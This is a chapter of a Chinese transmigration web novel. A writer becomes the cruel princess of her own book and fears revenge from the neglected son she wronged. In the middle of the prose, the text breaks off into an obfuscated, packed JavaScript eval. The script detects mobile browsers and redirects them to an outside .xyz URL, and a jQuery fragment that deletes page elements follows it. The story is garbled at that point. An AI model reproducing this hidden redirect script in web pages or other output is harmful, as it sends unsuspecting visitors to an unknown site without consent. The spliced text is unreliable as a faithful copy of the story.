唐月,或者说,现在占用着这具身体的裴然,只想对着老天爷竖个中指。
她不过就是个熬夜赶稿猝死的破写手,怎么眼睛一闭一睁,就穿进了自己写的这本名为《巧笑嫣然》的小说里,还成了里面死得最惨、没有之一的工具人恶毒女配——公主唐月?
记忆不断闪回,冲得她太阳穴突突地跳。
原主唐月,当朝长公主的独女,皇帝亲封的素娥公主,身份尊贵到近乎无解。
人生信条就俩字:享乐。养面首,戏伶人,怎么快活怎么来。
至于她那便宜儿子唐砚礼?
呵,那是她人生完美答卷上唯一的一个污点。
当年驸马胆大包天,跟府里一个婢女私通,竟还弄出个儿子来。
东窗事发后,驸马非但不知悔改,还腆着脸请求纳妾。
唐月是什么脾气?
当着一众宾客的面,一纸休书直接把驸马踹出了公主府。
之后更是变本加厉,在京城烟花之地游戏人生,公主府里的美貌面首更是如过江之鲫。
人人都当她是因为驸马伤透了心,疯了。
只有唐月自己知道——她他爹的玩得有多爽!
而那个婢女生的儿子唐砚礼自然就成了这桩丑事最扎眼的证据。无人在意,任其自生自灭。
在这捧高踩低的公主府里,他的处境可想而知。
下人最会看主子眼色行事。
公主十几年来对这个儿子不闻不问,甚至偶尔提及都难掩厌恶之情,他们便知道该如何对待这位“名义上的公子”了。
克扣份例、以次充好都是寻常,冬日缺炭火,夏日送馊饭,动辄训斥打骂,将他视作比最低等杂役还不如的存在。
而这一切,原主唐月并非完全不知情,只是她懒得管,甚至觉得理所当然。
而“唐月”,作为这本小说的亲妈作者,给这位“儿子”安排的命运更是跌宕起伏——前期受尽屈辱,中期黑化复仇,后期一举登天。
原主唐月,就是他黑化路上最重要的一块垫脚石。
在其造反成功后,并未直接杀死唐月,而是对她施加了长期且残酷的折磨。
书中的文字此刻化作无比清晰的画面,在她脑海里疯狂闪过:
他先是命人剜去唐月的眼睛、折了她的双腿,将她囚禁在曾经寻欢作乐的公主府废园,把废园改造成仅能容身的囚室,封死门窗,让她不见天日。
那阴暗潮湿、散发着霉味的狭小空间……
那碗需要像牲畜一样用手扒拉、散发着酸臭味的馊粥……
那些奉命前来、肆意在她脸上身上留下伤痕的模糊人影……
以及那无休无止、永无尽头的黑暗与寂静,最终将曾经的骄纵公主逼成了那个蜷缩在角落里的疯子……
回忆到这里,裴然,不,现在她是唐月了,猛地打了个寒颤,感觉脖子后面凉飕飕的,仿佛已经能感受到铁器冰冷的触感和双腿被打断时那钻心的剧痛。
“不行,绝对不行!”她在内心疯狂呐喊,“我得活下去!我必须改变这个结局!”
可怎么改?她现在就是那个对唐砚礼施以十几年冷暴力和纵容虐待的罪魁祸首。
仇恨的种子早已深种,恐怕早已长成了参天大树。
现在才想来浇水施肥,怕是来不及了吧?
“殿下,我们快到府上了。”
贴身侍女小蝶的声音将她从恐怖的遐想中拉回现实。
唐月回过神,这才发现自己正坐在回府的马车里,车身微微摇晃。
她刚从那吃人不吐骨头的皇宫里出来,应付了一整天皇亲国戚,脑子本就昏沉。
“嗯。”她含糊地应了一声,掀开车帘一角。
外面正下着鹅毛大雪,天地间白茫茫一片,公主府朱红色的大门在雪幕中若隐若现。
马车在府门前停下,小蝶搀扶着她下车。
冷风裹挟着雪粒扑面而来,让她稍微清醒了些。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403353|184367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她拢了拢身上华贵保暖的狐裘,踩着积雪,深一脚浅一脚地往自己的院落走。
脑子里还在不停地消化着这一切。
说起来……她到现在都还没有来得及传唤过她这个“好儿子”。
一来没时间,二来没找到个合适的理由。
一路行来,遇到的侍女仆从无不立刻停下脚步,躬身退至路边,态度恭谨畏惧到了极点。可见原主平日积威之深。
这让她也更加忐忑,在这样的环境下,她突然转性对唐砚礼好,真的不会显得异常突兀吗?
就在她走到院门处,准备赶紧回去瘫在暖榻上好好思考一下对策时,目光不经意地扫过院中。
只见那铺满了厚厚白雪的庭院中央,直挺挺地跪着一个人影。
大雪几乎将他裹成了一个雪人,看不清面容,只能凭借模糊的轮廓判断出是个身形颀长的年轻男子。
唐月的脚步顿住了。
谁啊?
这么大雪天跪在这儿?
演苦肉计给谁看呢?
她心里正烦着,看到这场景更是气不打一处来。
府里的面首为了争宠,各种手段层出不穷,但她现在可没心情欣赏什么“雪地情深”。
加之原主那骄纵放肆的脾气多少影响了她的思维,她几乎是下意识地、带着一丝不耐烦和惯有的轻佻,对着那雪影呵斥道:
“你是哪个屋的面首?不好好在房里待着,跪在这儿挡路?”
此话一出,她似乎察觉到了此人身体的僵硬,就连身旁的几名侍女都面面相觑。
那人有些许沉默,抬起头。
积雪从他发间簌簌抖落,露出一张苍白却极其俊美的脸。
鼻梁高挺,唇色淡薄,一双微微发红的眼睛深邃,既动人也冻人,此刻正死死地盯着她。
他忽然极轻地笑了一下,嘴角勾起一个苦涩的笑来:
“母亲贵人多忘事,怕不是都忘了,您还有个儿子?”